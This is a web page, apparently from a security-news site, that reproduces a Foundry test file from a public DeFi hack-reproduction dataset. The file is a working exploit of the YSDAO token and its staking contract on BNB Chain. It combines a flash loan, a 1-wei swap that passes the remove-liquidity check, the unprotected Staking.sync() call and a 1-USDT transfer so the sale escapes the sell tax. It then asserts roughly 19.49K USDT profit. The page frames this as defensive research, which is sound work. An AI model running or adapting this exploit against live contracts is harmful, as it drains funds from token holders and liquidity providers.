Public reproduction file
src/test/2026-05/YSDAO_exp.sol
Public reproduction file for dataset entry YSDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "forge-std/Test.sol";6// @KeyInfo - Total Lost : ~19.49K USDT7// Attacker : https://bscscan.com/address/0x8114650Cfd2617CD05C59898De7C620ae413b4608// Attack Contract : https://bscscan.com/address/0xafBf780569B95C5766F78b9CC5788899Aa5616Af9// Vulnerable Token : https://bscscan.com/address/0xc036A13D7A6A84677DfCcec483eED124654B791810// Vulnerable Staking : https://bscscan.com/address/0x3E13019dA3BAAd134493e751704D2D4245Eec7CA11// Attack Tx : https://bscscan.com/tx/0x91f26d96373bbec6a6a8517c7be995a739d65f20fed589d53bc47d8140f9190712//13// @Analysis14// YSDAO's transfer protection detects add/remove liquidity by reading the Pancake V215// pair's current token balances against reserves. The attacker combines a V3 USDT16// flash loan with a V2 pair callback:17// 1. Buy YSDAO while making the pair output 1 wei USDT, so _isRemoveLiquidity()18// sees pair USDT balance below reserve and skips buy tax/cooldown accounting.19// 2. Call Staking.sync(). It has no access control and transfers all staking-held20// USDT into the YSDAO/USDT pair, then pair.sync(), raising the apparent YSDAO price.21// 3. Transfer 1 USDT into the pair before selling, so _isAddLiquidity() treats the22// sale as liquidity addition and bypasses the harsher sell/profit-tax path.24interface IERC20Minimal {25 function balanceOf(address account) external view returns (uint256);26 function transfer(address to, uint256 amount) external returns (bool);27 function approve(address spender, uint256 amount) external returns (bool);28}30interface IPancakeV2PairMinimal {31 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);32 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;33}35interface IPancakeV2RouterMinimal {36 function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) external pure returns (uint256 amountOut);37 function swapExactTokensForTokensSupportingFeeOnTransferTokens(38 uint256 amountIn,39 uint256 amountOutMin,40 address[] calldata path,41 address to,42 uint256 deadline43 ) external;44}46interface IPancakeV3PoolMinimal {47 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;48}50interface IYSDAOStaking {51 function sync() external;52}54contract YSDAO_exp is Test {55 address constant ATTACKER = 0x8114650Cfd2617CD05C59898De7C620ae413b460;56 address constant USDT = 0x55d398326f99059fF775485246999027B3197955;57 address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;58 address constant YSDAO = 0xC036A13d7A6A84677DfCCeC483eed124654B7918;59 address constant STAKING = 0x3E13019dA3BAAd134493e751704D2D4245Eec7CA;60 address constant YSDAO_USDT_PAIR = 0x24Df7bdBC67b0EB03074Ea9d8CbbA0445fB35937;61 address constant USDT_WBNB_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;62 address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;64 uint256 constant FLASH_AMOUNT = 8_000_002 ether;65 uint256 constant BUY_USDT_AMOUNT = 8_000_000 ether;66 uint256 constant PAIR_CALLBACK_REPAY = 8_000_000 ether + 2;68 function setUp() public {69 vm.createSelectFork("bsc", 101_088_361 - 1);71 vm.label(ATTACKER, "Attacker EOA");72 vm.label(USDT, "USDT");73 vm.label(WBNB, "WBNB");74 vm.label(YSDAO, "YSDAO");75 vm.label(STAKING, "YSDAO Staking");76 vm.label(YSDAO_USDT_PAIR, "YSDAO/USDT Pair");77 vm.label(USDT_WBNB_V3_POOL, "USDT/WBNB V3 Pool");78 vm.label(PANCAKE_ROUTER, "Pancake Router");79 }81 function testExploit() public {82 uint256 beforeBalance = IERC20Minimal(USDT).balanceOf(address(this));84 IPancakeV3PoolMinimal(USDT_WBNB_V3_POOL).flash(85 address(this), FLASH_AMOUNT, 0, abi.encode(USDT_WBNB_V3_POOL, FLASH_AMOUNT)86 );88 uint256 afterBalance = IERC20Minimal(USDT).balanceOf(address(this));89 uint256 profit = afterBalance - beforeBalance;91 console.log("USDT profit:", profit / 1e18);92 assertApproxEqAbs(profit, 19_490.907296125583506343 ether, 1e12, "unexpected USDT profit");93 }95 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {96 (address pool, uint256 amount) = abi.decode(data, (address, uint256));97 require(msg.sender == pool && msg.sender == USDT_WBNB_V3_POOL, "invalid flash callback");98 require(fee1 == 0, "unexpected token1 fee");100 (uint112 reserveUSDT, uint112 reserveYSDAO,) = IPancakeV2PairMinimal(YSDAO_USDT_PAIR).getReserves();101 uint256 ysdaoOut =102 IPancakeV2RouterMinimal(PANCAKE_ROUTER).getAmountOut(BUY_USDT_AMOUNT, reserveUSDT, reserveYSDAO);104 // Outputting 1 wei USDT makes YSDAO's _isRemoveLiquidity() branch true during token transfer.105 IPancakeV2PairMinimal(YSDAO_USDT_PAIR).swap(1, ysdaoOut, address(this), hex"30783031");107 // Anyone can call this. It donates staking-held USDT into the pair and syncs reserves.108 IYSDAOStaking(STAKING).sync();110 // Makes YSDAO's _isAddLiquidity() branch true before selling through the router.111 IERC20Minimal(USDT).transfer(YSDAO_USDT_PAIR, 1 ether);113 IERC20Minimal(YSDAO).approve(PANCAKE_ROUTER, type(uint256).max);114 address[] memory path = new address[](2);115 path[0] = YSDAO;116 path[1] = USDT;118 uint256 ysdaoBalance = IERC20Minimal(YSDAO).balanceOf(address(this));119 IPancakeV2RouterMinimal(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(120 ysdaoBalance, 0, path, address(this), block.timestamp + 60121 );123 IERC20Minimal(USDT).transfer(USDT_WBNB_V3_POOL, amount + fee0);124 }126 function pancakeCall(address, uint256, uint256, bytes calldata) external {127 require(msg.sender == YSDAO_USDT_PAIR, "invalid v2 callback");128 IERC20Minimal(USDT).transfer(YSDAO_USDT_PAIR, PAIR_CALLBACK_REPAY);129 }130}Analysis
Dataset entry
Public Foundry test for “YSDAO” (2026-05-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8114650cfd2617cd05c59898de7c620ae413b460
- Attack Contract
0xafbf780569b95c5766f78b9cc5788899aa5616af
- Attack Tx
0x91f26d96373bbec6a6a8517c7be995a739d65f20fed589d53bc47d8140f91907
- Explorer: https://bscscan.com/address/0x8114650Cfd2617CD05C59898De7C620ae413b460
- Explorer: https://bscscan.com/address/0xafBf780569B95C5766F78b9CC5788899Aa5616Af
- Explorer: https://bscscan.com/address/0xc036A13D7A6A84677DfCcec483eED124654B7918
- Explorer: https://bscscan.com/address/0x3E13019dA3BAAd134493e751704D2D4245Eec7CA
File record
- Name
- YSDAO
- Path
- src/test/2026-05/YSDAO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9994b9b6ac09f348e40633b6d4031ce9763d32de
- Language
- Solidity
- Size
- 131 lines
- Date
- 2026-05-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/YSDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9994b9b6ac09f348e40633b6d4031ce9763d32de, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.